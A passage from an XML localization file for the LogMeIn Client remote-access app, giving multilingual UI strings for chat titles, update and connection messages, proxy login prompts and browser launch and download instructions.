<en>%s - Chat</en>
<en-gb>%s - Chat</en-gb>
<de>%s – Chat</de>
<it>%s - Chat</it>
<fr>%s - Chat</fr>
<ru>%s — чат</ru>
<ja>%s - チャット</ja>
<zh>%s - 聊天</zh>
<ko>%s - 대화</ko>
<es>%s - Chat</es>
<hu>%s – Csevegés</hu>
<pt-br>%s - Bate-papo</pt-br>
<nl>%s - Chat</nl>
</msg>
</cat>
<cat name="PROGRESS_DLG">
<msg name="CHECKINGUPDATE">
<en>Checking for updates...</en>
<es>Comprobando actualizaciones...</es>
<de>Es wird nach Updates gesucht...</de>
<fr>Recherche de mises à jour...</fr>
<it>Ricerca aggiornamenti...</it>
<ru>Проверка наличия обновлений...</ru>
<ja>更新を確認しています...</ja>
<zh>正在检查更新...</zh>
<ko>업데이트 확인 중...</ko>
<en-gb>Checking for updates...</en-gb>
<hu>Frissítések keresése...</hu>
<pt-br>Verificando atualizações...</pt-br>
<nl>Bezig met controleren van updates...</nl>
</msg>
<msg name="CONNECTING">
<en>Connecting...</en>
<de>Verbinden...</de>
<es>Conectando...</es>
<fr>Connexion...</fr>
<it>Connessione...</it>
<ru>Подключение...</ru>
<ja>接続しています</ja>
<zh>正在连接</zh>
<ko>연결 중</ko>
<en-gb>Connecting...</en-gb>
<hu>Csatlakoztatás...</hu>
<pt-br>Conectando...</pt-br>
<nl>Bezig met verbinden...</nl>
</msg>
<msg name="UPDATING">
<en>Updating...</en>
<de>Aktualisieren...</de>
<es>Actualizando...</es>
<fr>Mise à jour...</fr>
<it>Aggiornamento...</it>
<ru>Обновление...</ru>
<ja>更新しています...</ja>
<zh>正在更新...</zh>
<ko>업데이트 중...</ko>
<en-gb>Updating...</en-gb>
<hu>Frissítés...</hu>
<pt-br>Atualizando...</pt-br>
<nl>Bezig met updaten...</nl>
</msg>
</cat>
<cat name="ERROR_DLG">
<msg name="CLOSE">
<en>Close</en>
<en-gb>Close</en-gb>
<de>Schließen</de>
<it>Chiudi</it>
<fr>Fermer</fr>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<es>Cerrar</es>
<hu>Bezár</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
<msg name="CONNECTIONFAILED">
<en>Connection failed.</en>
<en-gb>Connection failed.</en-gb>
<de>Verbindungsfehler.</de>
<es>Error de conexión.</es>
<fr>Échec de la connexion.</fr>
<it>Connessione non riuscita.</it>
<nl>Verbinding mislukt.</nl>
<pt-br>Falha na conexão.</pt-br>
<hu>A kapcsolódás sikertelen.</hu>
<ru>Сбой подключения.</ru>
<ja>接続に失敗しました</ja>
<ko>연결 실패</ko>
<zh>连接失败</zh>
</msg>
</cat>
<cat name="WARNING_DLG">
<msg name="SCREEN_BLANKING">
<en>Changes introduced by Microsoft are preventing screen blanking on hosts running Windows 10, Version 2004 and above.</en>
<en-gb>Changes introduced by Microsoft are preventing screen blanking on hosts running Windows 10, Version 2004 and above.</en-gb>
<de>Von Microsoft eingeführte Änderungen verhindern das Ausblenden des Bildschirms auf Hosts mit Windows 10 ab Version 2004.</de>
<es>Los cambios introducidos por Microsoft evitan que la pantalla se quede en negro en los hosts que ejecutan Windows 10, versión 2004 y superiores.</es>
<fr>Des modifications introduites par Microsoft empêchent l'effacement d'écran sur les hôtes sous Windows 10, version 2004 et ultérieures.</fr>
<it>Le modifiche apportate da Microsoft impediscono l'oscuramento dell schermo degli host con Windows 10, versione 2004 e successive.</it>
<nl>Wijzigingen die zijn ingevoerd door Microsoft voorkomen dat het scherm wordt leeggemaakt op hosts met Windows 10, Versie 2004 en hoger.</nl>
<pt-br>Alterações realizadas pela Microsoft estão impedindo o recurso "tela em branco" em computadores com o Windows 10, versão 2004 e posterior.</pt-br>
<hu>A Microsoft által bevezetett változások miatt a Windows 10 2004-es vagy újabb verziójával működő gazdaszámítógépek képernyője nem sötétíthető el.</hu>
<ru>В связи с изменениями, внесенными компанией Microsoft, функция скрытия содержимого экрана не работает на хост-компьютерах под управлением Windows 10 версии 2004 и выше.</ru>
<ja>Microsoft によって導入された変更により、Windows 10 (バージョン 2004 以降) を実行しているホストでブランク画面にならなくなります。</ja>
<ko>Microsoft에서 도입한 변경 사항으로 인해 Windows 10, 버전 2004 이상을 실행하는 호스트에서 화면이 공백으로 표시되지 않습니다.</ko>
<zh>Microsoft 的更改项会阻止运行 Windows 10(2004 版本及以上)的主机使用黑屏功能。</zh>
</msg>
</cat>
<cat name="EXITDLG">
<msg name="TITLE">
<en>Remote session closed</en>
<en-gb>Remote session closed</en-gb>
<de>Remotesitzung beendet</de>
<it>Sessione remota chiusa</it>
<fr>Session distante fermée</fr>
<ru>Удаленный сеанс закрыт</ru>
<ja>リモート セッションが終了しました</ja>
<zh>远程会话已关闭</zh>
<ko>원격 세션이 닫힘</ko>
<es>Sesión remota cerrada</es>
<hu>Távelérési munkamenet lezárva</hu>
<pt-br>Sessão remota encerrada</pt-br>
<nl>Sessie op afstand gesloten</nl>
</msg>
<msg name="TEXT">
<en>The LogMeIn Client app is now on your computer.</en>
<en-gb>The LogMeIn Client app is now on your computer.</en-gb>
<de>Die LogMeIn-Client-Anwendung befindet sich jetzt auf Ihrem Computer.</de>
<it>L’app client LogMeIn è ora installata nel computer.</it>
<fr>L'app LogMeIn Client est installée sur votre ordinateur.</fr>
<ru>Клиент LogMeIn теперь установлен на вашем компьютере.</ru>
<ja>LogMeIn Client アプリがコンピューターにインストールされました。</ja>
<zh>LogMeIn 客户端应用程序 已安装在您的计算机上。</zh>
<ko>LogMeIn 클라이언트 응용 프로그램이 현재 컴퓨터에 설치되어 있습니다.</ko>
<es>La aplicación LogMeIn Client ya está en su ordenador.</es>
<hu>A LogMeIn kliensalkalmazás jelenleg a számítógépén van.</hu>
<pt-br>Agora o aplicativo cliente do LogMeIn está instalado no seu computador.</pt-br>
<nl>De LogMeIn Client-app staat nu op uw computer.</nl>
</msg>
<msg name="KEEP">
<en>I'll keep the app to start sessions easier and quicker</en>
<en-gb>I'll keep the app to start sessions easier and quicker</en-gb>
<de>Anwendung behalten, um zukünftige Sitzungen einfacher und schneller zu starten</de>
<it>Utilizzerò ancora l’app per avviare le sessioni in modo più facile e rapido</it>
<fr>Je souhaite garder l'app pour lancer plus rapidement les sessions.</fr>
<ru>Оставить приложение для ускорения и облегчения запуска сеансов</ru>
<ja>アプリを保持して、今後セッションを簡単迅速に開始できるようにします</ja>
<zh>我将保存此 app 以更快更轻松地开始会话</zh>
<ko>세션을 보다 쉽고 빠르게 시작하기 위해 이 응용 프로그램을 유지합니다.</ko>
<es>Conservaré la aplicación para iniciar sesiones de una forma más rápida y sencilla.</es>
<hu>Az alkalmazást meg kívánom tartani a munkamenetek könnyebb és gyorsabb indításához</hu>
<pt-br>Irei manter o aplicativo para iniciar as sessões com mais facilidade e rapidez</pt-br>
<nl>Ik wil de app houden om sessies gemakkelijker en sneller te starten</nl>
</msg>
</cat>
<cat name="PROXYDLG">
<msg name="TITLE">
<en>Proxy Authentication</en>
<de>Proxy Authentifizierung</de>
<es>Autenticación de proxy</es>
<fr>Authentification du Proxy</fr>
<it>Autenticazione proxy</it>
<ru>Проверка подлинности прокси-сервера</ru>
<ja>プロキシ認証</ja>
<zh>代理验证</zh>
<ko>프록시 인증</ko>
<en-gb>Proxy Authentication</en-gb>
<hu>Proxy hitelesítés</hu>
<pt-br>Autenticação proxy</pt-br>
<nl>Verificatie van proxyserver</nl>
</msg>
<msg name="TEXT1">
<en>LogMeIn Client needs to log on to your proxy server to access the Internet.</en>
<de>LogMeIn Client muss sich bei ihrem Proxy Server anmelden, um auf das Internet zuzugreifen.</de>
<es>LogMeIn Client necesita iniciar sesión en su servidor proxy para acceder a Internet.</es>
<fr>LogMeIn Client doit se connecté à votre serveur proxy pour accéder à Internet.</fr>
<it>È necessario che LogMeIn Client effettui il login al server proxy per accedere a Internet.</it>
<ru>LogMeIn Client требуется зарегистрироваться на прокси-сервере, чтобы получить доступ к Интернету.</ru>
<ja>LogMeIn Client がインターネットにアクセスするには、プロキシ サーバーにログインする必要があります。</ja>
<zh>LogMeIn Client 需要登录至您的代理服务器以访问 Internet。</zh>
<ko>LogMeIn Client은 인터넷에 액세스하기 위해 프록시 서버에 로그온해야 합니다.</ko>
<en-gb>LogMeIn Client needs to log on to your proxy server to access the Internet.</en-gb>
<hu>A LogMeIn Client be kell jelentkezzen az Ön proxykiszolgálójára az Internet eléréséhez.</hu>
<pt-br>LogMeIn Client precisa se conectar ao seu servidor proxy para acessar a Internet.</pt-br>
<nl>LogMeIn Client moet zich bij uw proxyserver aanmelden om toegang te krijgen tot internet.</nl>
</msg>
<msg name="TEXT2">
<en>Please enter your logon information below.</en>
<de>Geben sie bitte ihre Anmeldeinformationen unten ein.</de>
<es>Introduzca su información de inicio de sesión a continuación.</es>
<fr>Veuillez écrire vos informations d'ouverture de session ci-dessous.</fr>
<it>Immettere i dati di accesso di seguito.</it>
<ru>Введите ниже свои регистрационные сведения.</ru>
<ja>以下にログイン情報を入力してください。</ja>
<zh>请在下面输入登录信息。</zh>
<ko>아래에 로그온 정보를 입력하십시오.</ko>
<en-gb>Please enter your logon information below.</en-gb>
<hu>Kérjük, az alábbiakban adja meg bejelentkezési adatait.</hu>
<pt-br>Digite as informações de logon abaixo.</pt-br>
<nl>Voer uw aanmeldingsgegevens hieronder in.</nl>
</msg>
<msg name="USERNAME">
<en>User name:</en>
<de>Benutzername:</de>
<es>Nombre de usuario:</es>
<fr>Nom utilisateur :</fr>
<it>Nome utente:</it>
<ru>Имя пользователя:</ru>
<ja>ユーザ名:</ja>
<zh>用户名:</zh>
<ko>사용자 이름:</ko>
<en-gb>Username:</en-gb>
<hu>Felhasználói név:</hu>
<pt-br>Nome do usuário:</pt-br>
<nl>Gebruikersnaam:</nl>
</msg>
<msg name="PASSWORD">
<en>Password:</en>
<de>Kennwort:</de>
<es>Contraseña:</es>
<fr>Mot de passe :</fr>
<it>Password:</it>
<ru>Пароль:</ru>
<ja>パスワード:</ja>
<zh>密码:</zh>
<ko>암호:</ko>
<en-gb>Password:</en-gb>
<hu>Jelszó:</hu>
<pt-br>Senha:</pt-br>
<nl>Wachtwoord:</nl>
</msg>
<msg name="REMEBER">
<en>Remember this login on this computer</en>
<de>Anmeldeinformationen auf diesem Computer speichern</de>
<es>Recordar estos datos de inicio de sesión en este ordenador</es>
<fr>Se souvenir des informations d'ouverture de session sur cet ordinateur</fr>
<it>Salvare questo accesso sul computer</it>
<ru>Запомните эти сведения, необходимые для регистрации на данном компьютере.</ru>
<ja>このコンピュータへのログイン情報を記憶する</ja>
<zh>记住此次对该计算机的登录</zh>
<ko>컴퓨터에서 이 로그온 정보 기억</ko>
<en-gb>Remember this login on this computer</en-gb>
<hu>Emlékezzen erre a bejelentkezésre ezen a számítógépen</hu>
<pt-br>Lembrar este login neste computador</pt-br>
<nl>Deze aanmeldingsgegevens op deze computer onthouden</nl>
</msg>
</cat>

<!-- Host web interface -->
<cat name="ALERT">
<cat name="EDGE">
<msg name="LAUNCHAPPLICATION">
<en>Check your desktop for the *Did you mean to switch apps?* dialog box.</en>
<de>Machen Sie auf Ihrem Desktop das Dialogfeld *Wollten Sie die App wechseln?* ausfindig.</de>
<es>Busque en su escritorio el cuadro de diálogo *¿Quieres cambiar de aplicación?*.</es>
<fr>Repérez la boîte de dialogue *Voulez-vous basculer entre les applications ?* sur votre bureau.</fr>
<it>Cerca sul desktop la finestra di dialogo *Vuoi passare alle app?*.</it>
<ru>На вашем рабочем столе должно отобразиться диалоговое окно «*Вы хотели переключить приложения?*».</ru>
<ja>デスクトップで [アプリを切り替えますか?] ダイアログ ボックスを確認します。</ja>
<zh>检查桌面上是否出现了 *你指的是要切换应用吗?* 对话框。</zh>
<ko>데스크톱에서 *다른 앱으로 이동하시겠습니까?* 대화 상자를 확인하십시오.</ko>
<en-gb>Check your desktop for the *Did you mean to switch apps?* dialog box.</en-gb>
<hu>Keresse a képernyőn megjelenő *Alkalmazást szeretne váltani?* párbeszédablakot.</hu>
<pt-br>Verifique se a caixa de diálogo *Você quis dizer alternar os aplicativos?* aparece na área de trabalho.</pt-br>
<nl>Kijk of u het dialoogvenster *Wilt u echt overschakelen naar een andere app?* ziet op het bureaublad.</nl>
</msg>
<msg name="REMEMBERMYCHOICE">
<en></en>
<de></de>
<es></es>
<fr></fr>
<it></it>
<ru></ru>
<ja></ja>
<zh></zh>
<ko></ko>
<en-gb></en-gb>
<hu></hu>
<pt-br></pt-br>
<nl></nl>
</msg>
</cat>
<cat name="FIREFOX">
<msg name="LAUNCHAPPLICATION">
<en>Check your desktop for the *Launch Application* dialog box.</en>
<de>Machen Sie auf Ihrem Desktop das Dialogfeld *Anwendung starten* ausfindig.</de>
<es>Busque en su escritorio el cuadro de diálogo *Lanzar aplicación*.</es>
<fr>Repérez la boîte de dialogue *Lancer l'application* sur votre bureau.</fr>
<it>Cerca sul desktop la finestra di dialogo *Avvia applicazione*.</it>
<ru>На компьютере перейдите к диалоговому окну «*Запустить приложение*».</ru>
<ja>デスクトップで [プログラムを起動] ダイアログ ボックスを確認します。</ja>
<zh>检查 *启用应用程序* 对话框的桌面。</zh>
<ko>데스크톱의 *응용 프로그램 실행* 대화상자를 확인하십시오.</ko>
<en-gb>Check your desktop for the *Launch Application* dialog box.</en-gb>
<hu>Ellenőrizze az *Alkalmazás indítása* párbeszédpanelt.</hu>
<pt-br>Verifique se a caixa de diálogo *Iniciar aplicativo* aparece no desktop.</pt-br>
<nl>Zoek op uw bureaublad naar het dialoogvenster *Toepassing starten*.</nl>
</msg>
<msg name="REMEMBERMYCHOICE">
<en>Select the *Remember my choice* option then click *OK*.</en>
<de>Wählen Sie die Option *Auswahl speichern* aus und klicken Sie anschließend auf *OK*.</de>
<es>Active la opción *Recordar mi elección para este tipo de enlaces* y, a continuación, haga clic en *Aceptar*.</es>
<fr>Sélectionnez l'option *Mémoriser mon choix*, puis cliquez sur *OK*.</fr>
<it>Seleziona l’opzione *Ricorda questa scelta*, quindi fai clic su *OK*.</it>
<ru>Установите флажок «*Запомнить мой выбор*», затем нажмите кнопку «*OK*».</ru>
<ja>[今後 logmein リンクは同様に処理する(R)] オプションを選択し、[OK] をクリックします。</ja>
<zh>选择 *记住我的选择* 选项,然后单击 *确定*。</zh>
<ko>*선택 내용 저장* 옵션을 선택한 다음 *확인*을 클릭합니다.</ko>
<en-gb>Select the *Remember my choice* option then click *OK*.</en-gb>
<hu>Jelölje be a *Választott beállítás mentése* opciót, majd klikkeljen az *OK* gombra.</hu>
<pt-br>Selecione a opção *Lembrar-se da minha escolha* e clique em *OK*.</pt-br>
<nl>Selecteer de optie *Mijn keuze onthouden* en klik dan op *OK*.</nl>
</msg>
</cat>
<cat name="CHROME">
<msg name="LAUNCHAPPLICATION">
<en>Check your desktop for the *External Protocol Request* dialog box.</en>
<de>Machen Sie auf Ihrem Desktop das Dialogfeld *Externe Protokollanforderung* ausfindig.</de>
<es>Busque en su escritorio el cuadro de diálogo *Solicitud de protocolo externo*.</es>
<fr>Repérez la boîte de dialogue *Demande de protocole externe* sur votre bureau.</fr>
<it>Cerca sul desktop la finestra di dialogo *Richiesta protocollo esterno*.</it>
<ru>На компьютере перейдите к диалоговому окну «*Запрос на внешний протокол*».</ru>
<ja>デスクトップで [外部プロトコル リクエスト] ダイアログ ボックスを確認します。</ja>
<zh>检查 *外部协议请求* 对话框的桌面。</zh>
<ko>데스크톱의 *외부 프로토콜 요청* 대화상자를 확인하십시오.</ko>
<en-gb>Check your desktop for the *External Protocol Request* dialog box.</en-gb>
<hu>Ellenőrizze a *Külső protokollkérés* párbeszédpanelt.</hu>
<pt-br>Verifique se a caixa de diálogo *Solicitação de protocolo externo* aparece no desktop.</pt-br>
<nl>Zoek op uw bureaublad naar het dialoogvenster *Extern protocolverzoek*.</nl>
</msg>
<msg name="REMEMBERMYCHOICE">
<en>Select the *Remember my choice* option then click *Launch Application*.</en>
<de>Wählen Sie die Option *Meine Einstellungen für alle Links dieses Typs beibehalten* aus und klicken Sie anschließend auf *App starten*.</de>
<es>Active la opción *Recordar mi selección para todos los enlaces de este tipo* y, a continuación, haga clic en *Ejecutar aplicación*.</es>
<fr>Sélectionnez l'option *Mémoriser mon choix*, puis cliquez sur *Lancer l'application*.</fr>
<it>Seleziona l’opzione *Ricorda la mia scelta per tutti i link di questo tipo*, quindi fai clic su *Avvia applicazione*.</it>
<ru>Установите флажок «*Запомнить выбор для всех ссылок этого типа*», затем нажмите кнопку «*Запустить приложение*».</ru>
<ja>[このようなリンクの設定をすべて保存する] オプションを選択し、[アプリケーションの起動] をクリックします。</ja>
<zh>选择 *记住我的选择* 选项,然后单击 *启动应用程序*。</zh>
<ko>*선택 내용 저장* 옵션을 선택한 다음 *응용 프로그램 실행*을 클릭합니다.</ko>
<en-gb>Select the *Remember my choice* option then click *Launch Application*.</en-gb>
<hu>Jelölje be a *Választott beállítás mentése* opciót, majd klikkeljen az *Alkalmazás futtatása* gombra.</hu>
<pt-br>Selecione a opção *Lembrar-se da minha escolha* e clique em *Iniciar aplicativo*.</pt-br>
<nl>Selecteer de optie *Mijn keuze onthouden* en klik dan op *Toepassing starten*.</nl>
</msg>
</cat>
<msg name="TITLE">
<en>Launching LogMeIn Client in a moment... Did it start?</en>
<de>Der LogMeIn-Client wird aufgerufen ... Wurde er gestartet?</de>
<es>LogMeIn Client se iniciará en momento... ¿se ha abierto?</es>
<fr>Lancement de LogMeIn Client dans un instant... Est-il lancé ?</fr>
<it>Avvio del client LogMeIn... È stato avviato?</it>
<ru>Сейчас должен запуститься Клиент LogMeIn… Он запустился?</ru>
<ja>LogMeIn クライアントが間もなく起動します... 起動しませんか?</ja>
<zh>正在启动 LogMeIn 客户端... 是否已启动?</zh>
<ko>LogMeIn 클라이언트가 곧 실행됩니다... 실행되었습니까?</ko>
<en-gb>Launching LogMeIn Client in a moment... Did it start?</en-gb>
<hu>A LogMeIn kliens azonnal elindul... Elindult?</hu>
<pt-br>Iniciando o cliente do LogMeIn em instantes... foi iniciado?</pt-br>
<nl>LogMeIn Client wordt binnen een ogenblik gestart... Is het al gestart?</nl>
</msg>
<cat name="COLUMN1">
<msg name="TITLE">
<en>Maybe $BROWSERNAME is waiting for your permission to start the application?</en>
<de>Möglicherweise wartet $BROWSERNAME auf Ihre Genehmigung, um die Anwendung zu starten?</de>
<es>Puede que $BROWSERNAME esté esperando a que conceda el permiso para iniciar la aplicación.</es>
<fr>$BROWSERNAME attend peut-être votre autorisation pour démarrer l'application.</fr>
<it>$BROWSERNAME potrebbe attendere la tua autorizzazione per avviare l’applicazione.</it>
<ru>Возможно, $BROWSERNAME ожидает от вас разрешения на запуск этого приложения?</ru>
<ja>アプリを起動するためには、$BROWSERNAME への許可が必要になる場合があります</ja>
<zh>$BROWSERNAME 可能正在等待您的许可以启动该应用程序?</zh>
<ko>$BROWSERNAME에서 응용 프로그램 시작에 대한 사용자의 권한을 기다리고 있습니까?</ko>
<en-gb>Maybe $BROWSERNAME is waiting for your permission to start the application?</en-gb>
<hu>Lehet, hogy a $BROWSERNAME az Ön jóváhagyására vár az alkalmazás elindításához?</hu>
<pt-br>Talvez o $BROWSERNAME esteja aguardando sua permissão para iniciar o aplicativo.</pt-br>
<nl>Misschien wacht $BROWSERNAME op uw toestemming om de applicatie te starten?</nl>
</msg>
<msg name="CONTENT">
<en>$LAUNCH_APPLICATION\nThe LogMeIn Client should be selected already. $REMEMBER_MY_CHOICE</en>
<de>$LAUNCH_APPLICATION\nDer LogMeIn-Client sollte bereits ausgewählt sein. $REMEMBER_MY_CHOICE</de>
<es>$LAUNCH_APPLICATION\nLogMeIn Client debe estar seleccionado. $REMEMBER_MY_CHOICE</es>
<fr>$LAUNCH_APPLICATION\nLogMeIn Client devrait être déjà sélectionné. $REMEMBER_MY_CHOICE</fr>
<it>$LAUNCH_APPLICATION\nIl client LogMeIn dovrebbe essere già selezionato. $REMEMBER_MY_CHOICE</it>
<ru>$LAUNCH_APPLICATION\nКлиент LogMeIn уже должен быть выбран. $REMEMBER_MY_CHOICE</ru>
<ja>$LAUNCH_APPLICATION\nLogMeIn クライアントがすでに選択されている必要があります。$REMEMBER_MY_CHOICE</ja>
<zh>$LAUNCH_APPLICATION\nLogMeIn 客户端应已选择。$REMEMBER_MY_CHOICE</zh>
<ko>$LAUNCH_APPLICATION\nLogMeIn 클라이언트가 선택되어 있어야 합니다. $REMEMBER_MY_CHOICE</ko>
<en-gb>$LAUNCH_APPLICATION\nThe LogMeIn Client should be selected already. $REMEMBER_MY_CHOICE</en-gb>
<hu>$LAUNCH_APPLICATION\nA LogMeIn kliens előzőleg már társítva lett ehhez a hivatkozáshoz. $REMEMBER_MY_CHOICE</hu>
<pt-br>$LAUNCH_APPLICATION\nO cliente do LogMeIn já deve ser selecionado.$REMEMBER_MY_CHOICE</pt-br>
<nl>$LAUNCH_APPLICATION\nLogMeIn Client zou al geselecteerd moeten zijn. $REMEMBER_MY_CHOICE</nl>
</msg>
</cat>
<cat name="COLUMN2">
<msg name="TITLE">
<en>If you cannot proceed, {download again|$URL}</en>
<de>Wenn dies nicht funktioniert, können Sie ihn {erneut herunterladen|$URL}.</de>
<es>Si no puede continuar, {repita la descarga|$URL}.</es>
<fr>Si vous ne parvenez pas à continuer, {télécharger à nouveau|$URL}</fr>
<it>Se non è possibile procedere, {scarica nuovamente |$URL}</it>
<ru>Если продолжить не удается, {повторите загрузку|$URL}.</ru>
<ja>それでも起動できない場合は、{再度ダウンロードしてください|$URL}</ja>
<zh>如果无法继续,{重新下载|$URL}</zh>
<ko>진행할 수 없다면 {다시 다운로드하십시오|$URL}.</ko>
<en-gb>If you cannot proceed, {download again|$URL}</en-gb>
<hu>Ha mégsem indult el, {töltse le újra|$URL}</hu>
<pt-br>Caso não consiga continuar, {faça download novamente|$URL}</pt-br>
<nl>Als u niet door kunt gaan, {download het dan nogmaals|$URL}</nl>
</msg>
</cat>
<cat name="COLUMN3">
<msg name="TITLE">
<en>Run downloaded app</en>
<de>Führen Sie die heruntergeladene Anwendung aus.</de>
<es>Ejecute la aplicación descargada.</es>
<fr>Exécuter l'app téléchargée</fr>
<it>Esegui l’app scaricata</it>
<ru>Запустите загруженное приложение.</ru>
<ja>ダウンロードしたアプリを実行します</ja>
<zh>运行下载的应用程序</zh>
<ko>다운로드한 앱 실행</ko>
<en-gb>Run downloaded app</en-gb>
<hu>A letöltött alkalmazás indítása</hu>
<pt-br>Execute o aplicativo baixado</pt-br>
<nl>Gedownloade app uitvoeren</nl>
</msg>
<msg name="CONTENT">
<en>Can't find it? *Press $SHORTCUTKEY* to view recent downloads!</en>
<de>Sie können sie nicht finden? *Drücken Sie $SHORTCUTKEY*, um Ihre letzten Downloads anzuzeigen.</de>
<es>¿No la encuentra? *Pulse $SHORTCUTKEY* para ver las descargas recientes.</es>
<fr>Vous ne la trouvez pas ? *Appuyez sur $SHORTCUTKEY* pour afficher les téléchargements récents.</fr>
<it>Non la trovi? *Premi $SHORTCUTKEY* per visualizzare i file scaricati di recente.</it>
<ru>Не можете найти его? *Нажмите сочетание клавиш *$SHORTCUTKEY* для просмотра последних загруженных файлов.</ru>
<ja>アプリが見つからない場合は、$SHORTCUTKEY を押して最近のダウンロードを表示します。</ja>
<zh>找不到应用程序?*请按下 $SHORTCUTKEY* 查看最近的下载!</zh>
<ko>다운로드 파일을 찾을 수 없을 경우 *$SHORTCUTKEY을(를) 눌러* 최근 다운로드 항목을 확인하십시오.</ko>
<en-gb>Can't find it? *Press $SHORTCUTKEY* to view recent downloads!</en-gb>
<hu>Nem találja? *Nyomja meg a $SHORTCUTKEY* billentyűket a letöltési előzmények megjelenítéséhez.</hu>
<pt-br>Não conseguiu encontrá-lo? *Pressione $SHORTCUTKEY* para ver os downloads recentes.</pt-br>
<nl>Kunt u het niet vinden? Druk dan op *$SHORTCUTKEY* om recente downloads weer te geven!</nl>
</msg>
</cat>
<msg name="NOTE">
<en>Alternatively, {start feature-limited session in $BROWSERNAME|$URL}.</en>
<de>Alternativ dazu können Sie {in $BROWSERNAME eine Sitzung mit eingeschränktem Funktionsumfang starten|$URL}.</de>
<es>Otra opción es {iniciar una sesión con funciones limitadas en $BROWSERNAME|$URL}.</es>
<fr>Ou {lancer une session aux fonctionnalités restreintes dans $BROWSERNAME|$URL}.</fr>
<it>In alternativa, {avvia una sessione con funzioni limitate in $BROWSERNAME|$URL}.</it>
<ru>Либо {запустите сеанс с ограниченной функциональностью в $BROWSERNAME|$URL}.</ru>
<ja>または、{$BROWSERNAME で機能限定のセッションを開始します|$URL}。</ja>
<zh>或者,{在 $BROWSERNAME|$URL 中启动功能有限的会话}。</zh>
<ko>또는 {$BROWSERNAME에서 세션을 시작(일부 기능 제한)하십시오|$URL}.</ko>
<en-gb>Alternatively, {start feature-limited session in $BROWSERNAME|$URL}.</en-gb>
<hu>Esetleg {indíthat egy korlátozott funkciókkal futó munkamenetet a $BROWSERNAME böngészőablakában|$URL}.</hu>
<pt-br>Você também pode {iniciar sessão limitada em$BROWSERNAME|$URL}.</pt-br>
<nl>U kunt ook {een sessie met gelimiteerde functies starten in $BROWSERNAME|$URL}.</nl>
</msg>
</cat>
<cat name="INFO">
<msg name="TITLE">
<en>$BROWSERNAME requires the LogMeIn Client application for full-featured remote access</en>
<de>$BROWSERNAME benötigt die LogMeIn-Client-Anwendung, damit alle Fernzugriffsfunktionen verfügbar sind</de>
<es>$BROWSERNAME requiere la aplicación LogMeIn Client para permitir acceso remoto completo</es>
<fr>$BROWSERNAME nécessite l'application LogMeIn Client pour fournir toutes les fonctions d'accès à distance.</fr>
<it>Per l’accesso remoto completo, $BROWSERNAME richiede l’applicazione client LogMeIn</it>
<ru>Для полноценного удаленного доступа браузеру $BROWSERNAME требуется приложение «Клиент LogMeIn».</ru>
<ja>リモート アクセスのすべての機能を利用するには、$BROWSERNAME に LogMeIn クライアントのアプリが必要です。</ja>
<zh>$BROWSERNAME 需要完全远程访问 LogMeIn 客户端应用程序。</zh>
<ko>모든 원격 액세스 기능을 활용하려면 $BROWSERNAME에서 LogMeIn 클라이언트 응용 프로그램을 사용해야 합니다.</ko>
<en-gb>$BROWSERNAME requires the LogMeIn Client application for full-featured remote access</en-gb>
<hu>A $BROWSERNAME böngészőnek a teljes körű táveléréshez szüksége van a LogMeIn kliensalkalmazásra</hu>
<pt-br>O $BROWSERNAME exige o aplicativo cliente do LogMeIn para oferecer acesso remoto completo</pt-br>
<nl>In $BROWSERNAME is de LogMeIn Client-app vereist voor externe toegang met alle volledige functies</nl>
</msg>
<cat name="COLUMN1">
<msg name="TITLE">
<en>App downloads automatically</en>
<de>Die Anwendung wird automatisch heruntergeladen.</de>
<es>La aplicación se descarga automáticamente</es>
<fr>L'app est téléchargée automatiquement</fr>
<it>Il download dell’app è automatico</it>
<ru>Приложение должно загрузиться автоматически.</ru>
<ja>自動でアプリをダウンロードします</ja>
<zh>自动下载应用程序</zh>
<ko>앱을 자동으로 다운로드</ko>
<en-gb>App downloads automatically</en-gb>
<hu>Az alkalmazás automatikusan letöltődik</hu>
<pt-br>O aplicativo será baixado automaticamente</pt-br>
<nl>De app wordt automatisch gedownload</nl>
</msg>
<msg name="CONTENT">
<en>If it doesn't, {restart the download|$URL}.</en>
<de>Wenn nicht, können Sie den {Download neu starten|$URL}.</de>
<es>En caso de no ser así, {reinicie la descarga|$URL}.</es>
<fr>Si ce n'est pas le cas, {relancer le téléchargement|$URL}.</fr>
<it>In caso contrario, {riavvia il download|$URL}.</it>
<ru>В противном случае {перезапустите загрузку|$URL}.</ru>
<ja>開始されない場合は、{ダウンロードを再実行してください|$URL}。</ja>
<zh>如果没有下载,{重新启动下载|$URL}。</zh>
<ko>자동으로 시작되지 않으면 {다운로드를 다시 시작합니다|$URL}.</ko>
<en-gb>If it doesn't, {restart the download|$URL}.</en-gb>
<hu>Ha nem indul el, {indítsa újra a letöltést|$URL}.</hu>
<pt-br>Caso isso não aconteça, {reinicie o download|$URL}.</pt-br>
<nl>Zo niet, {herstart dan de download|$URL}.</nl>
</msg>
</cat>
<cat name="COLUMN2">
<msg name="TITLE">
<en>Run downloaded app</en>
<de>Führen Sie die heruntergeladene Anwendung aus.</de>
<es>Ejecute la aplicación descargada.</es>
<fr>Exécuter l'app téléchargée</fr>
<it>Esegui l’app scaricata</it>
<ru>Запустите загруженное приложение.</ru>
<ja>ダウンロードしたアプリを実行します</ja>
<zh>运行下载的应用程序</zh>
<ko>다운로드한 앱 실행</ko>
<en-gb>Run downloaded app</en-gb>
<hu>A letöltött alkalmazás elindítása</hu>
<pt-br>Execute o aplicativo baixado</pt-br>
<nl>Gedownloade app uitvoeren</nl>
</msg>
<msg name="CONTENT">
<en>If you can't find it, press *$SHORTCUTKEY* to view recent downloads and run the application.</en>
<de>Wenn Sie sie nicht finden können, drücken Sie *$SHORTCUTKEY*, um Ihre letzten Downloads anzuzeigen und die Anwendung auszuführen.</de>
<es>Si no la encuentra, pulse *$SHORTCUTKEY* para ver las descargas recientes y ejecute la aplicación.</es>
<fr>Si vous ne le trouvez pas, appuyez sur le raccourci *$SHORTCUTKEY* pour afficher les téléchargements récents et exécuter l'application.</fr>
<it>Se non la trovi, premi *$SHORTCUTKEY* per visualizzare i file scaricati di recente ed eseguire l’applicazione.</it>
<ru>Если его не удается найти, нажмите сочетание клавиш *$SHORTCUTKEY* для просмотра последних загруженных файлов и запустите приложение.</ru>
<ja>アプリが見つからない場合は、$SHORTCUTKEY を押して最近のダウンロードを表示し、アプリを実行します。</ja>
<zh>如果找不到应用程序,请按下 *$SHORTCUTKEY* 查看最近的下载并运行该应用程序。</zh>
